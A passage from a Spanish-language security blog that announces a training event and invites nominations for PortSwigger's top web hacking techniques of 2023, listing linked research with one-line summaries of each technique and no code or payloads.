informática.<p></p><p>Se trata de la primera edición de Hackplayers Academy, un evento de formación en el que podrás aprender de los mejores expertos.</p><p>El evento se celebrará en Madrid próximamente así que si estás interesado en ser uno de nuestros profesores no lo dudes y aplica en el siguiente <a href="https://docs.google.com/forms/d/e/1FAIpQLSe-ncVVzVH22hC_ANRCr4eRWJEr4TBhmd1_H93yQKetFUR9SA/viewform" target="_blank">enlace</a>. ¡Date prisa, tienes un 30 días para presentar tu propuesta!</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEMBLKNOFqkaPUyVcGS77FAItrXXMMlut9eNupB9QQ80X7OtFaM3APX41_itP7ZVOQoM-OZ8w_y0qkoW9scbDdGFGTd1WhpiSK2SVswBraLrtPEDLNXgvBs5i-kpDbgmfkR6nt5l4yMCP6nvbFmKQwV5ZGOcKSQcHuJkcnOdRE6q7nyH-eiT95Js6KNkYF/s2048/poster_academy1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="2048" data-original-width="1920" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEMBLKNOFqkaPUyVcGS77FAItrXXMMlut9eNupB9QQ80X7OtFaM3APX41_itP7ZVOQoM-OZ8w_y0qkoW9scbDdGFGTd1WhpiSK2SVswBraLrtPEDLNXgvBs5i-kpDbgmfkR6nt5l4yMCP6nvbFmKQwV5ZGOcKSQcHuJkcnOdRE6q7nyH-eiT95Js6KNkYF/w600-h640/poster_academy1.jpg" width="600" /></a></div><p></p><p>🌟 Destacados:</p><p>➡️ Talleres Impactantes: Sumérgete en talleres prácticos impartidos por expertos líderes en sus campos. Desde ciberseguridad hasta tecnologías emergentes, los talleres de Hackplayers Academy están diseñados para desafiar y ampliar tus habilidades.</p><p>➡️ Red de Expertos: Conecta con profesionales apasionados y líderes de la industria. Aprovecha la oportunidad de establecer contactos valiosos que pueden inspirarte, guiarte y colaborar contigo en futuros proyectos.</p><p>➡️ Crecimiento Profesional: Eleva tu carrera profesional con el conocimiento y las habilidades que adquirirás en Hackplayers Academy. Ya seas un principiante o un experto en tecnología, encontrarás contenido relevante y desafiante.</p><p>🤝 Organizado por la Comunidad para la Comunidad:</p><p>Hackplayers Academy es una iniciativa de la Asociación sin ánimo de lucro Hackplayers, comprometida con el avance de la ciberseguridad y la tecnología. Nuestra misión es proporcionar oportunidades de aprendizaje accesibles para todos y fomentar un ambiente colaborativo. <span> </span></p><p>➡️ Las inscripciones todavía no están abiertas. Permanece atento porque después de la finalización del CFT se publicará la Agenda y abrirá el registro correspondientes.</p><p>➡️ Visita nuestra web en: <a href="https://www.hackplayersacademy.com">https://www.hackplayersacademy.com</a>.</p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com3tag:blogger.com,1999:blog-9133539773684103848.post-15202622704356584372024-01-12T23:47:00.005+01:002024-01-12T23:54:11.450+01:00Vota las mejoras técnicas de hacking web de 2023<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikGKLld1SAzYxnuqQMKFaxddTuQZM1qCwlyV9e5k_BYhIxqNlkYdTYAEViMNrpuCzoC4Nlrsz0dgG8mZrGHYUTIARUgVIUzChBjk0wPd7Hk7qa5iPy8ulh5TBe1rLeaPo35PL7FIFwo0IwWz6gBopYSrufPSYIywc2Pn9E0-WCp7AvvFte2-QESq975gHL/s2066/redhacker.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="2066" data-original-width="1507" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikGKLld1SAzYxnuqQMKFaxddTuQZM1qCwlyV9e5k_BYhIxqNlkYdTYAEViMNrpuCzoC4Nlrsz0dgG8mZrGHYUTIARUgVIUzChBjk0wPd7Hk7qa5iPy8ulh5TBe1rLeaPo35PL7FIFwo0IwWz6gBopYSrufPSYIywc2Pn9E0-WCp7AvvFte2-QESq975gHL/s320/redhacker.png" width="233" /></a></div>¡Ya están abiertas las nominaciones para las 10 mejores nuevas técnicas de hacking web de 2023 de <a href="https://portswigger.net/research/top-10-web-hacking-techniques-of-2023-nominations-open" target="_blank">Portswigger</a>!<br /><br />Durante el último año, numerosos investigadores de seguridad compartieron sus descubrimientos con la comunidad a través de publicaciones de blogs, presentaciones y documentos técnicos. Muchas de estas publicaciones contienen ideas innovadoras que esperan que la persona adecuada las adapte y las combine en nuevos descubrimientos en el futuro.<br /><br />Sin embargo, el gran volumen puede hacer que las buenas técnicas se pasen por alto y se olviden rápidamente. Desde 2006, la comunidad se ha unido todos los años para ayudar mediante la creación de dos recursos valiosos.<ul><li>Una lista completa de todas las investigaciones destacadas sobre seguridad web del último año</li><li>Una lista refinada de los diez trabajos más valiosos</li></ul>Te recomiendo echar un ojo al <a href="https://portswigger.net/research/top-10-web-hacking-techniques" target="_blank">archivo completo</a> del proyecto para conocer los nominados y ganadores anteriores. <br /><br /><b>Las votaciones de 2023</b><br /><br />El calendario para este año es el siguiente:<ul style="text-align: left;"><li>Del 9 al 21 de enero: recopilación de nominaciones de la comunidad.</li><li>23-30 de enero: votación de la comunidad para crear una lista con los 15 mejores</li><li>1-13 de febrero: votación del panel de expertos sobre los 15 finalistas</li><li>15 de febrero: ¡Resultados anunciados!</li></ul><b>¿Qué debo nominar?</b><br /><br />El objetivo es destacar investigaciones que contengan técnicas novedosas y prácticas que puedan reaplicarse a diferentes sistemas. Las vulnerabilidades individuales como log4shell son valiosas en ese momento, pero envejecen relativamente mal, mientras que las técnicas subyacentes como la inyección JNDI a menudo se pueden volver a aplicar con gran efecto. Las nominaciones también pueden ser mejoras a clases de ataques ya conocidas, como Explotación de XXE con archivos DTD locales. Para obtener más ejemplos, puede que te resulte útil consultar los <a href="https://portswigger.net/research/top-10-web-hacking-techniques" target="_blank">10 mejores del año anterior</a>.<br /><br /><b>Cómo hacer una nominación</b><br /><br />Para enviar una propuesta, simplemente proporciona una URL de la investigación y un breve comentario opcional que la explique. ¡Siéntete libre de hacer tantas nominaciones como quieras y nomina tu propio trabajo si crees que vale la pena! <br /><br /><a href="https://docs.google.com/forms/d/e/1FAIpQLSc5CaiPUIlII3DLS6i1xK9ya3XRJRU8uW7vFRhT3toYSrrsTQ/viewform?usp=sf_link" target="_blank">Haga clic aquí para enviar una nominación</a><br /><br /><b>Nominaciones hasta ahora </b><br /><ul><li><a href="https://positive.security/blog/ransack-data-exfiltration" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Saqueando tokens de restablecimiento de contraseña</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
<a name='more'></a>
Ataque de fuerza bruta en aplicaciones Ruby on Rails utilizando la
biblioteca Ransack, para filtrar tokens de restablecimiento de
contraseña a través de la coincidencia de prefijos, carácter por carácter,
a través de filtros de búsqueda.</span></span><br /><br /></li><li><a href="https://github.blog/2023-08-17-mtls-when-certificate-authentication-is-done-wrong/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">mTLS: cuando la autenticación de certificados se realiza incorrectamente</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Vulnerabilidades en mutual-TLS que conducen a la suplantación de usuario, escalada de privilegios y fuga de información.</span></span><br /><br /></li><li><a href="https://portswigger-net.translate.goog/research/smashing-the-state-machine?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=es&_x_tr_pto=wapp" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Destrozando la máquina de estados: el verdadero potencial de las condiciones de carrera web</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Concepto de "todo es de varios pasos" para las condiciones de
carrera web, ampliando el alcance del ataque tradicional de superación
de límites mediante la explotación de subestados ocultos dentro de las
aplicaciones web e introduciendo un sistema "resistente a las
fluctuaciones" ataque de un solo paquete".</span></span><br /><br /></li><li><a href="https://trufflesecurity.com/blog/of-cors/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Bypass de firewalls con errores con of-CORs y </span></span></a><a href="https://trufflesecurity.com/blog/of-cors/" rel="nofollow">typo-squatting</a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de recursos compartidos entre orígenes (CORS) en redes
internas utilizando dominios de typo-squatting para investigar y exfiltrar
datos confidenciales sin violar las reglas de bug bounty.</span></span><br /><br /></li><li><a href="https://0day.click/recipe/pash/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">RCE mediante truncamiento de LDAP en hg.mozilla.org</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Se logró la ejecución remota de código (RCE) en el servidor de
Mozilla aprovechando el truncamiento de consultas LDAP con inyección de
bytes NULL para bypassear la sanitización de entradas, lo que permite la
inyección de comandos.</span></span><br /><br /></li><li><a href="https://blog.ankursundara.com/cookie-bugs/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Errores de cookies: smuggling e inyección</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación del análisis inconsistente de valores de cookies
entrecomillados, lo que lleva al smuggling de cookies, y cómo los
delimitadores incorrectos permiten la inyección de cookies, lo que
permite la suplantación de tokens CSRF y posibles omisiones de
autenticación.</span></span><br /><br /></li><li><a href="https://dl.acm.org/doi/pdf/10.1145/3627106.3627140" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">La validación de URI de redireccionamiento de OAuth 2.0 se queda corta, literalmente,</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
explotación de OAuth a través de confusión de paths.</span></span><br /><br /></li><li><a href="https://blog.abdulrah33m.com/prototype-pollution-in-python/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Prototipo pollution en Python</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Clase de pollution en Python mediante funciones de combinación
recursivas que manipulan atributos especiales `__class__`.</span></span><br /><br /></li><li><a href="https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Vulnerabilidades de Pretalx: cómo ser aceptado en cada conferencia</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechando los enlaces de configuración específicos del sitio de
Python para archivos .pth para obtener ejecución de código arbitrario a
través de una vulnerabilidad de escritura de archivos limitada.</span></span><br /><br /></li><li><a href="https://blog.malicious.group/from-akamai-to-f5-to-ntlm/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">De Akamai a F5 a NTLM... con amor. </span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechar el smuggling de solicitudes HTTP y el envenenamiento
de caché a través de los sistemas Akamai y F5 BIGIP para redirigir y
robar datos confidenciales, incluidos tokens de autorización y
credenciales NTLM.</span></span><br /><br /></li><li><a href="https://hackcompute.com/hacking-epp-servers/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">¿Puedo hablar con su gerente? hackear</span><span style="vertical-align: inherit;"> servidores raíz EPP para tomar el control de zonas</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotar vulnerabilidades XXE en servidores EPP y divulgación de
archivos locales en el software de registro CoCCA para obtener control
de zonas ccTLD completas.</span></span><br /><br /></li><li><a href="https://portswigger-net.translate.goog/research/blind-css-exfiltration?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=es&_x_tr_pto=wapp" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Exfiltración ciega de CSS: exfiltración de páginas web desconocidas.</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Uso de CSS: tiene un selector para realizar una filtración ciega de datos confidenciales sin JavaScript.</span></span><br /><br /></li><li><a href="https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Comprometer F5 BIGIP con smuggling de solicitudes</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Eludir el control de acceso mediante la explotación de configuraciones erróneas del servidor Nginx.</span></span><br /><br /></li><li><a href="https://portswigger-net.translate.goog/research/server-side-prototype-pollution?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=es&_x_tr_pto=wapp" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Contaminación de prototipos del lado del servidor: detección de caja negra sin DoS</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechamiento de técnicas no destructivas como la manipulación
de respuestas JSON y la inyección de encabezado CORS para la detección
segura de cajas negras de la contaminación de prototipos del lado del
servidor.</span></span><br /><br /></li><li><a href="https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Trucos para una vinculación de DNS confiable en una fracción de segundo en Chrome y Safari</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de las respuestas DNS retrasadas con Safari y la
priorización de IPv6 de Chrome para realizar ataques de vinculación de
DNS en una fracción de segundo.</span></span><br /><br /></li><li><a href="https://bountyplz.xyz/bugbounty/2023/07/30/HTML-Over-The-Wire.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">HTML Over the Wire</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de las funciones de las bibliotecas "HTML Over the
Wire" para la fuga de tokens CSRF a través de solicitudes POST de origen
cruzado con enlaces inyectados.</span></span><br /><br /></li><li><a href="https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">SMTP smuggling: falsificación de correos electrónicos en todo el mundo</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de las diferencias en la interpretación del protocolo
SMTP para eludir las comprobaciones de validación de correo electrónico
SPF y DMARC y enviar correos electrónicos falsificados.</span></span><br /><br /></li><li><a href="https://blog.ryotak.net/post/dom-based-race-condition/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Condición de carrera basada en DOM: competir en el navegador por diversión - Blog de RyotaK</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de las condiciones de carrera en aplicaciones
AngularJS retrasando la carga de AngularJS con un ataque de agotamiento
del grupo de conexiones para habilitar XSS basado en DOM a través de
datos pegados del portapapeles con directivas ng-.</span></span><br /><br /></li><li><a href="https://medium.com/@renwa/you-are-not-where-you-think-you-are-opera-browsers-address-bar-spoofing-vulnerabilities-aa36ad8321d8" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">No estás donde crees que estás, vulnerabilidades de suplantación de la barra de direcciones de los navegadores Opera</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Técnicas de suplantación de la barra de direcciones en los
navegadores Opera, que explotan funciones como URL de intención,
actualizaciones de extensiones y modo de pantalla completa</span></span><br /><br /></li><li><a href="https://joaxcar.com/blog/2023/10/06/cve-2022-4908-sop-bypass-in-chrome-using-navigation-api/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">CVE-2022-4908: Omisión de SOP en Chrome usando la API de navegación</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Abusar de `navigation.entries()` de la API de navegación para
filtrar la matriz del historial de navegación de ventanas de origen
cruzado.</span></span><br /><br /></li><li><a href="https://security.lauritz-holtmann.de/post/xss-ato-gadgets/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Gadgets SSO: Escale (Self-)XSS a ATO</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechando los gadgets SSO en implementaciones OAuth2/OIDC para convertir Self-XSS a ATO.</span></span><br /><br /></li><li><a href="https://i.blackhat.com/BH-US-23/Presentations/US-23-Tervoort-Three-New-Attacks-Against-JSON-Web-Tokens-whitepaper.pdf" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Tres nuevos ataques contra tokens web JSON</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Nuevos defectos de implementación de JWT</span></span><br /><br /></li><li><a href="https://www.ambionics.io/blog/wrapwrap-php-filters-suffix" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Presentamos wrapwrap: uso de filtros PHP para envolver un archivo con un prefijo y sufijo</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechamiento de cadenas de filtros PHP para anteponer y agregar
contenido arbitrario a los datos del archivo, facilitando SSRF a RCE y
ataques de inclusión de archivos locales.</span></span><br /><br /></li><li><a href="https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Cadenas de filtros PHP: lectura de archivos desde Oracle basado en errores.</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Combinación de agotamiento de la memoria y codificación de
traducciones a través de cadenas de filtros PHP para realizar fugas de
contenido de archivos locales basadas en errores.</span></span><br /><br /></li><li><a href="https://blog.doyensec.com/2023/03/16/ssrf-remediation-bypass.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Omisión de redireccionamiento entre protocolos SSRF</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Omitir los filtros SSRF mediante el redireccionamiento entre protocolos de HTTPS a HTTP.</span></span><br /><br /></li><li><a href="https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Un nuevo vector para la escritura de archivos arbitrarios "sucios" en RCE</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechando el análisis de configuración uWSGI para la ejecución
remota de código a través de un PDF contaminado que utiliza contenido
polimórfico y comportamiento de recarga automática.</span></span><br /><br /></li><li><a href="https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Cómo hackeé Microsoft Teams y obtuve $150,000 en Pwn2Own</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
RCE en Microsoft Teams a través de una combinación de errores que
incluyen XSS a través de mensajes de chat, falta de aislamiento de
contexto y ejecución de JS fuera del entorno sandbox.</span></span><br /><br /></li><li><a href="https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Los clientes de AWS WAF quedaron vulnerables a la inyección de SQL debido a una elección de diseño poco ortodoxa de MSSQL</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
que termina las consultas de MSSQL con ' ' en lugar de ';' </span><span style="vertical-align: inherit;">para omitir AWS WAF.</span></span><br /><br /></li><li><a href="https://www.wiz.io/blog/azure-active-directory-bing-misconfiguration" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">BingBang: La mala configuración de AAD llevó a la manipulación de los resultados de Bing.com y a la apropiación de cuentas.</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechar la mala configuración de multi-tenants de AAD
para el acceso no autorizado a las aplicaciones, lo que llevó a la
manipulación de los resultados de Bing.com y a ataques XSS.</span></span><br /><br /></li><li><a href="https://blog.sorcery.ie/posts/mybb_acp_rce/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Panel de administración de MyBB RCE CVE-2023-41362</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación del retroceso catastrófico (backtracking) en la expresión regular del
panel de administración de MyBB para evitar los controles de seguridad
de la plantilla y ejecutar código arbitrario.</span></span><br /><br /></li><li><a href="https://www.sonarsource.com/blog/teamcity-vulnerability/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Código fuente en riesgo: vulnerabilidad de código crítico en la plataforma CI/CD TeamCity</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Eludiendo la verificación de autenticación del servidor TeamCity mediante el manejo no sanitizado de la entrada para las rutas de preinterceptor de manejo de solicitudes.</span></span><br /><br /></li><li><a href="https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Las vulnerabilidades del código ponen en riesgo los correos electrónicos de Skiff.</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Eludir la desinfección de HTML de Skiff para lograr XSS y robar correos electrónicos descifrados.</span></span><br /><br /></li><li><a href="https://speakerdeck.com/greendog/how-to-break-saml-if-i-have-paws" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">¿Cómo romper SAML si tengo "patas"? </span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Atacar implementaciones SAML mediante ajuste de firmas XML,
inyecciones de texto sin formato, exclusión de firmas, validación de
certificados defectuosos y más.</span></span><br /><br /></li><li><a href="https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Revisión de la explotación de JMX </span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Uso de JMX StandardMBean y RequiredModelMBean para RCE mediante la
creación dinámica de MBean y la invocación de métodos arbitrarios.</span></span><br /><br /></li><li><a href="https://codewhitesec.blogspot.com/2023/04/java-exploitation-restrictions-in.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Restricciones de explotación de Java en tiempos modernos de JDK</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Evitar las restricciones de ejecución de gadgets de
deserialización de Java en JDK modernos utilizando la API de JShell para
versiones de JDK >= 15 y --add-opens con Reflection para JDK >=
16.</span></span><br /><br /></li><li><a href="https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Explotación de la deserialización reforzada de .NET</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Eludir la seguridad de deserialización de .NET mediante novedosas cadenas de dispositivos.</span></span><br /><br /></li><li><a href="https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">No serializable, pero inalcanzable: ejecución remota de código en vBulletin</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de la carga automática de clases en PHP para la
ejecución remota de código mediante la inclusión de archivos arbitrarios
mediante payloads de deserialización diseñadas en vBulletin.</span></span><br /><br /></li><li><a href="https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">DuoDrop sin cookies: IIS Auth Bypass y App Pool Privesc en ASP.NET Framework</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Omitir la autenticación de IIS y suplantar las identidades del
grupo de aplicaciones principal en ASP.NET utilizando un patrón doble
sin cookies.</span></span><br /><br /></li><li><a href="https://labs.hakaioffsec.com/nginx-alias-traversal/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Buscando cruces de alias de Nginx in the wild</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechando las configuraciones erróneas de los alias de Nginx para ataques de cruce de directorios.</span></span><br /><br /></li><li><a href="https://sec-consult.com/blog/detail/dns-analyzer-finding-dns-vulnerabilities-with-burp-suite/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Analizador de DNS: búsqueda de vulnerabilidades de DNS con Burp Suite</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Uso de Burp Collaborator con la extensión DNS Analyzer para
identificar vulnerabilidades de DNS que facilitan los ataques de
envenenamiento de caché de DNS al estilo Kaminsky.</span></span><br /><br /></li><li><a href="https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Oh-Auth: Abusar de OAuth para hacerse cargo de millones de cuentas.</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Manipular la lógica de verificación de tokens de OAuth para facilitar la apropiación de cuentas.</span></span><br /><br /></li><li><a href="https://www.descope.com/blog/post/noauth" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">nOAuth: Cómo una mala configuración de Microsoft OAuth puede llevar a la apropiación total de la cuenta</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechando la reclamación de "correo electrónico" mutable y no
verificado dentro de las aplicaciones Microsoft Azure AD OAuth para la
apropiación de cuentas.</span></span><br /><br /></li><li><a href="https://blog.ostorlab.co/one-scheme-to-rule-them-all.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Un esquema para gobernarlos a todos: apropiación de cuentas de OAuth</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de OAuth con suplantación de aplicaciones mediante el
secuestro de esquemas personalizados para apropiación de cuentas.</span></span><br /><br /></li><li><a href="https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Explotación de inconsistencias de los analizadores HTTP</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de inconsistencias del analizador HTTP para omisión de ACL y envenenamiento de caché.</span></span><br /><br /></li><li><a href="https://github.com/greshake/llm-security" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Nuevas formas de romper los LLM integrados en aplicaciones.</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Ataques indirectos de inyección rápida en LLM integrados en
aplicaciones que permiten el control remoto, la exfiltración de datos y
el compromiso persistente.</span></span><br /><br /></li><li><a href="https://research.nccgroup.com/2023/04/27/state-of-dns-rebinding-in-2023/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Estado de DNS rebinding en 2023</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Avances y tendencias en los ataques de rebinding de DNS,
examinando su efectividad frente a las medidas de seguridad web modernas</span></span><br /><br /></li><li><a href="https://vulncheck.com/blog/juniper-cve-2023-36845" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Ejecución remota de código sin archivos en Juniper Firewalls</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Técnica de manipulación de variables de entorno PHP que evita la
necesidad de cargar un archivo, explotando la función PHP
auto_prepend_file y el manejo de variables de entorno y stdin por parte
del servidor web Appweb.</span></span><br /><br /></li><li><a href="https://soroush.me/blog/2023/07/thirteen-years-on-advancing-the-understanding-of-iis-short-file-name-sfn-disclosure/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Trece años después: ¡Avanzando en la comprensión de la divulgación de nombres de archivos cortos (SFN) de IIS! </span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Revelar nombres de archivos completos en IIS que contienen
patrones ~DIGIT utilizando técnicas de enumeración de nombres de
archivos.</span></span><br /><br /></li><li><a href="https://osec.io/blog/2023-11-01-metamask-snaps" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Metamask Snaps: jugando en la arena</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de la ejecución de código que no es de confianza
mediante la derivación de desinfección JSON dentro del entorno de
Metamask Snaps.</span></span><br /><br /></li><li><a href="https://0x44.xyz/blog/cve-2023-4369/index.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Descubriendo una loca escalada de privilegios desde las extensiones de Chrome</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Escalada a la ejecución de código arbitrario a través de chrome://
URL XSS y sistema de archivos: abuso de protocolo en las extensiones de
Chrome en ChromeOS.</span></span><br /><br /></li><li><a href="https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/?utm_source%3Dtwitter%26utm_medium%3Dsocial%26utm_campaign%3Dprotonmail%26utm_content%3Dsecurity%26utm_term%3Dmofu" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Las vulnerabilidades del código ponen en riesgo los correos de Proton Mail</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
